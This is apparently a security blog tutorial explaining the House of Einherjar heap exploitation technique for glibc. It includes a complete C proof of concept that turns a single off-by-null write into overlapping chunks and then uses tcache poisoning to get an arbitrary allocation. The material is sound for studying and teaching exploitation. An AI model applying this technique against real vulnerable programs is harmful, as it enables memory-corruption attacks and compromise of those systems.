House of Einherjar
How it works
- House of Einherjar is a go-to method for heap exploitation in case of a single NULL byte overflow vulnerability.
- It can be used to obtain overlapping chunks
- Which can further be used to launch other attacks (like tcache poisoning, demonstrated in PoC below)
- The idea is that we would have three consecutive chunks
fake
: used to store a fake chunkmiddle
: this is used for two purposes:- To use the off-by-bull vulnerability and write
\x00
into next chunk - As the “overlapped” chunk after the attack
- To use the off-by-bull vulnerability and write
victim
: this chunk will be overwritten by the\x00
frommiddle
- We start by forging the fake chunk by setting its fields as:
prev_size = 0
size = (will discuss later)
next = &fake
prev = &fake
The
next
andprev
fields are set to point to itself for the unlinking to happen successfully
- Then use
middle
to write the samesize
in thevictim
’sprev_size
field - Then finally we use the off-by-null vulnerability to write
\x00
in thevictim
’s size field - In our case the
size
was0x101
(with thePREV_INUSE
bit set)
- And after overwriting it becomes
0x100
=> thePREV_INUSE
field gets cleared
This is why it’s ideal if the size of
victim
is a multiple of0x100
- This tricks the allocator algorithm. If you free
victim
now, the algorithm will think thatprev_size
bytes behind there is a free chunk, so it makes sense forvictim
to consolidate backwards and insert it into the smallbin.
Typically on freeing
victim
it should land in tcache which does not perform any consolidation, hence you should fill tcache just before callingfree(victim)
- But before that happens, the previous chunk needs to be “unlinked” from the doubly circular linked list of smallbin. The pointers are validated while unlinking. That is, the previous chunk must satisfy
chunk->prev = chunk->next = chunk
(hence the pointers are set to point to itself) - I think it’s obvious now what the
size
must be:&victim - &fake - 0x10
(-0x10 to adjust for headers) - So all in all, this is what happens to the heap after free:
- As you can see, the heap thinks that there is a
0x140
bytes chunk available @ our fake chunk address, and it will gladly return us this memory when requested - So we technically “own” the entire 0x140 bytes from the start of fake chunk
- This includes (overlaps) with the
middle
chunk entirely - This is where the
middle
chunk’s headers/data can be manipulated to launch other attacks
PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
/**
* Author: VulnX <vulnx101@gmail.com>
* Description: PoC for House of Einherjar attack
*
* How to compile and run:
* gcc einherjar.c -o einherjar -g && ./einherjar
*
* Expected output:
* TARGET ACHIEVED
*/
#include <assert.h>
#include <malloc.h>
#include <stddef.h>
#include <stdlib.h>
struct fake_chunk {
size_t prev_size;
size_t size;
void *next;
void *prev;
};
void fill_tcache(size_t size) {
void *chunks[7];
for (int i = 0; i < 7; i++) {
chunks[i] = malloc(size);
}
for (int i = 0; i < 7; i++) {
free(chunks[i]);
}
}
size_t mangle(void *ptr, void *addr) {
return (size_t)ptr ^ ((size_t)addr >> 12);
}
int main() {
void *target;
struct fake_chunk *fake = malloc(sizeof(struct fake_chunk));
fake->prev_size = 0;
fake->next = fake;
fake->prev = fake;
void *middle = malloc(0x20 - 8); // minimum sized allocation
void *victim = malloc(0x100 - 8); // Preferably a multiple of 0x100
size_t size_difference = victim - (void *)fake - 0x10;
*(size_t *)(middle + malloc_usable_size(middle) - sizeof(void *)) =
size_difference; // victim->prev_size = size_difference
// -- start vuln
*(char *)(middle + malloc_usable_size(middle)) =
'\0'; // clear PREV_INUSE bit from victim via OOB write
// -- end vuln
fake->size = size_difference; // Ensure fake->size == victim->prev_size ==
// size_difference
// fill tcache so that victim lands in smallbin *after* consolidating
// backwards
fill_tcache(0x100 - 8);
free(victim);
size_t consolidated_size = 0x100 + size_difference;
void *overlap = malloc(consolidated_size - 8);
assert(overlap - 0x10 == fake); // overlap now *contains* middle inside it
// -- normal tcache poisoning
void *another = malloc(0x20 - 8);
free(another);
free(middle);
void *target_addr =
(((size_t)&target & 0xf) == 0) ? &target : (void *)&target + 0x8;
*(size_t *)(overlap + malloc_usable_size(fake) + sizeof(void *) - 0x10) =
mangle(target_addr, middle);
void *obtained = malloc(0x20 - 8);
obtained = malloc(0x20 - 8);
assert(obtained == target_addr);
puts("TARGET ACHIEVED");
return 0;
}
This post is licensed under CC BY 4.0 by the author.